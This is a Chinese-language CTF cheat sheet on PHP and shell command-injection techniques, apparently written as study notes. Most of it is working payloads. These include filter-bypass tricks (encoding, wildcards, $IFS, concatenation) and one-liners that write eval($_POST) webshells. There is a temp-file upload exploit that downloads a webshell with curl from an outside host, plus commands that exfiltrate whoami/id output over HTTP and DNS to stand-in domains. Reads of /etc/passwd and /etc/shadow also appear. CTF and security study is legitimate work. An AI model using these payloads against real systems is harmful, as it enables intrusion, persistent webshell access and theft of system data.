一.基础知识
shell骚思路
修复禁止
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
}
可以用dir和sort绕
1.)基础命令符号类
#①转义字符
windows中^
linux中\
#②多条命令执行连接的符号
windows中&& || %0a;
linux下 && || ; $() `` %0a %0d
#③注释字符
windows下::
linux下#
2.)常见的命令类
读取文件的命令
#读取文件
highlight_file("index.php");
#glob() 函数返回匹配指定模式的文件名或目录。
#举个例子:
glob("*") 匹配任意文件
glob("*.txt")匹配以txt为后缀的文件
#打印文件的命令
print_r();
找文件命令
如找flag.txt文件方法
find / -name flag.txt
find / -name *.txt #查找所有txt文件方法
find / -perm -u=s -type f 2>/dev/null看看有s属性文件
#或者find / -name f{l,m}ag.txt/进行通配出字符
#结合grep命令一起使用
find / -name "*.txt" |xargs grep "www.dutycode.com"
#不知道为什么会出现
paths must precede expression: 类型的问题
查看linux内核版本命令
uname -a
dir d:\ #列出目录类
unix中常见命令
ll 列目录、文件(相当于Windows下dir)
pwd 查看当前绝对路径
wget 下载指定的url文件
cat /proc/1/cgroup 查看是否处在docker虚拟机中
#如果无ifconfig和无IP命令的话,可以利用proc文件方式查看
cat /proc/net/fib_trie
cat /etc/sysconfig/network
eval–>可计算某个字符串,并执行其中的的 JavaScript 代码
典型构造是执行代码
1.利用system执行的典型方法
eval $cmd
#即构造
cmd=system("ls");
#即列出这个文件的相关内容
system(“ls -al /etc/passwd /etc/shadow”);
cmd=system("cat flag_1171");
#骚思路
#绕过
c=system('cat f*');
#-->即代通配符方法读取思路
system("cat /etc/passwd")
<=>
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
<=>
(sy.(st).em)("cat /etc/passwd");
<=>还可以用注释方法绕过
"system/*fthgb666*/("cat /etc/passwd);"
<=>
"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
<=>
"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
2.写一句话木马
利用echo代写一句话马
127.0.0.1 & echo "<?php @eval(@@\$_POST['a']);?>" > 3.php
二.常见绕过8种方法
①有字母数字rce
1)命令拼接
a=who
b=ami
$a$b //输出whoami
2)常用字符使用–>常用符号
& 表示将任务置于后台执行
; 多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
&& 只有在 && 左边的命令返回真(命令返回值 $? == 0),&&右边的命令才会被执行。
|| 只有在 || 左边的命令返回假(命令返回值 $? == 1),||右边的命令才会被执行。
%0a
%0d
| (管道符) |表示管道,上一条命令的输出,作为下一条命令的参数
echo qwe ; ls //会先输出字符qwe,然后执行ls
q=l; w=s; e=" -al"; $q$w$e //执行ls -al命令
qwe | ls //执行后面的命令,前面的不执行
#最常用;和|符号
3)linux中默认的字符命令
${PATH:5:1} #l
${PATH:2:1} #s
${PATH:5:1}${PATH:2:1} #拼接后是ls,执行命令
${PATH:5:1}s #拼接后是ls,执行命令
#即直接这个命令即可完事
4)绕–>空格
#通用绕过
%20
%09
#linux下绕过
$IFS
$IFS$1
${IFS}
$IFS$9
< 比如cat<a.tct:表示cat a.txt
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
#windows环境下绕空格
~10,1%
~表示为截取符,该语句的含义为从第十个开始截取且获取一个字符串
可以利用这种思路去写马
eval(file_get_contents("php://input"));
然后post
fputs(fopen($_SERVER['DOCUMENT_ROOT'].'shell.php','w'),'<?php @eval($_POST[123]); ?>');
5)绕cat
#代替cat方法
cat
tac
more
less
head
tail
nl
sed
sort
uniq
rev
od%09`ls` 利用转进制显示
#代替空格的方法
IFS$9、%09、<、>、<>、{,}、%20、${IFS}、${IFS}
#过滤了目录分隔符/ #利用cd执行到目录里后在进行绕
#如
127.0.0.1;cd flag_is_here;cat flag_5898818519729.php |base64
#过滤了运算符|等
#即不可以
127.0.0.1;cd flag_297281061019145.php |base64
#绕方法
base64 flag_297281061019145.php
c=echo(`more%09f*`);
#绕隔离符类-->即|,;类
#可代这个-->注意直接输入到url编码中,防止被转义
%0a
6)绕过关键字
①单引号和双引号绕过
比如:ca’'t flag 或ca""t flag
②反斜杠绕过或者<<绕过
比如:ca\t fl\ag ca<<t
③过滤目录分隔符 /
可以使用;和cd到目录然后使用cat抓取
④拼接绕过
比如:a=l;b=s;a aab
a aab就代表ls
⑤编码绕过
wh\o\ami //反斜线绕过
who"a"mi //双引号绕过
whoa'm'i //单引号绕过
whoam``i //反引号绕过
echo d2hvYW1p|base64 -d|sh //base64绕过,其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash//base64绕过,其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令
echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码
//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi
#⑥借助文件中其他文件的字符串进行绕
如
test.php中存在该命令
<?php echo "hello,lemon" ?>
即可利用echo `expr substr $(awk NR==1 test.php) 1 1`
进行执行<
7)绕文件名
cat fl[abc]g.php #匹配[abc]中的任何一个
cat f[a-z]ag.txt #匹配a-z范围的任何字符
cat fla* #用*匹配任意
a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php #内联执行
#利用正则:比如要读取etc/passwd
cat /???/??????
cat /???/pass*
cat /etc$u/passwd
8)绕过滤了system
system()#有回显
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
#反引号
c=echo `cat f*`;
9)典型限制长度类rce执行
1.)15个字符
echo \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1
mv 1 1.php
2.)7个字符
1、命令+>文件名可以生产文件(命令可以为空)
2、ls -t可以将文件按时间顺序排列
3、sh命令可以执行sh脚本
4、base64命令可以避免特殊字符
5、\可以分行输入命令
w>hp
w>1.p\w>d\>\w>\ -\w>e64\w>bas\w>7\|\w>XSk\w>Fsx\w>dFV\w>kX0\w>bCg\w>XZh\w>AgZ\w>waH\w>PD9\w>o\ \w>ech\ls -t|sh
⑩绕system(“ls”)
#如果system("ls")被过滤了
可代php自带函数进行读取文件目录
shana=var_dump(scandir(“.”))?>
典型题型
过滤的源代码
<?php
if(!preg_match("/antsword/i",$_SERVER['HTTP_USER_AGENT'])){
if(isset($_POST['shana'])){
$a = $_POST['shana'];
if(preg_match("/flag|cat|;|more|less|\\$|\\|\*|tac|nl|od|head|&|<|eval|`|
{|assert|]|nc|curl|include|file|req|~|\^|=|:|%|sh|call|array|php|assert|find|ls/i",$a)){
echo '<script>alert("还想读我的flag?臭弟弟!");window.location.href="index.php"</script>';
}
else{
ob_start(function($data){
if (strpos($data,'JUST{') !==false)
die('<script>alert("还想读我的flag?臭弟弟!");window.location.href="index.php"</script>');
return false;
});
eval($a);
echo '<script>window.location.href="index.php"</script>';
}
}
}
?>
读取思路类
shana=var_dump(scandir(“.”))?>#读取所有文件目录
#find命令如果被过滤,可利用绝对路径+通配符来代替命令,*被过滤了可以用?代替 ,find的默认路径在/usr/bin/目录下:
即-->find <==> /usr/bin/fi?d
#又因为过滤了flag
#所以利用fl?g进行绕
#最后构造
shana=system(“/usr/bin/fi?d / -name fl?g”)?>
#绕cat读取
#如利用tail命令读取,即构造
system(“tail /usr/src/flllaaag|base64”)?>
#或者利用/bin/c?t 读取flag
#即因为/bin/c?t<==>cat命令
shana=system(“/bin/c?t /usr/src/flllaaag|base64”)?>
没字母数字RCE
类型
①不用数字构造出数字类型
②不用数字和字母的shell
③非字母,数字的字符异或出字母
④非字母、数字的字符取反出字母
⑤php递增/递减运算符构造出shell
⑥不用数字字母下划线和$的shell-->即典型短标签的思路(即直接在短标签中构造常见的shell命令即可)
ctf中绕过字符数字构造shell
一些不包含数字和字母的webshell
无字母数字shell总结
不用数字字母下划线构造出shell思路
基础知识点
短标签
#如
<?=`ls /`;?> # 等效于<?php echo `ls /`; ?>
原理:<?= 是 echo() 的别名用法
?><?=`ls`; #构造原因<?= 还是不够的,需要先 ?> 把前面的 <?php
临时文件上传
#原理:们都知道php文件上传时,一般是将文件上传到临时目录,然后再将临时目录移到其它地方
#php.ini中的两个参数
file_uploads 是否允许上传
upload_tmp_dir 是默认的临时文件的保存目录(linux默认为/tmp)
#临时文件保存形式
默认为 php+4或者6位随机数字和大小写字母
如
phpXXXXXX.tmp 在windows下有tmp后缀,linux没有。
linux命令执行的另外一种方式
原理:linux环境下执行命令可以以文件形式存在
如aa.txt文件中-->cat /etc/passwd
即可./aa.txt执行这个命令
linux通配符
综合利用
如,题目
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
①在/tmp临时目录下上传保存一个文件
#! /bin/bash
curl xxx.xxx.xxx.xxx > /var/www/html/a.php
②然后
?cmd=?><?=`/??p/p?p??????`;
#原因-->临时文件会生成一个名为phpXXXXXX 的临时文件
因此利用p和通配符进行匹配
/tmp/phpXXXXXX这个文件
解法1
在这里假设flag在flag.txt中
通过POST提交修改这几行,可以得到flag
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
cat /flag.txt
-----------------------------10242300956292313528205888--
可成功get flag
解法2
通用解法
传一个文件进入到目录里
首先在example.com/a.txt中写一句话木马
<?php @eval($_POST['cmd']); ?>
然后post这个包
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
curl http://www.example.com/a.txt >> /var/www/html/a.php
-----------------------------10242300956292313528205888--
然后在post访问即可
三,综合利用类
1.)典型拼接写木马
利用拼接执行写一句话木马
127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php#没过滤空格和典型的关键字时可用
127.0.0.1 | cat 3122542822583.php |base64#即拼接进行base64显示,典型用于直接cat不出来的情况下
典型类型
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
即代分析这个整体类状况特点类–>综合分析
127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_12451150247546.php
2.)命令执行无回显绕过
Vtest搭建源码
①http通道进行回显
即通过域名之间连接进行传输数据
windows下
外带命令
for /F %x in ('echo hello') do start http://自己搭建的Vtest
linux下
直接利用curl或者wget命令传输
curl example.com/`whoami`
wget example.com/$(id |base64)
②DNS通道进行回显
dns通道测试命令
ping -nc 1 test.example.com
#即表示命令的含义-nc windows下用-n限制数量,linux下用-c限制数量
#linux下外带
ping -c 1 `whoami`.exmaple.com
#windows下外带
获取计算机名
for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.example.com
获取用户名
for /F "delims=\ token=2" %i in ('whoami') do ping -n %i.xxx.example.com
③时间盲注
linux下利用sleep()函数
windows下利用&& ||的惰性去代
④写入文件,二次返回
利用>重定向符号
#将结果导入到web目录中去
如http://www.null.com/exec/3.php?cmd=whoami>test
#即将文件导入到web的test的去了
再次访问
http://www.null.com/exec/test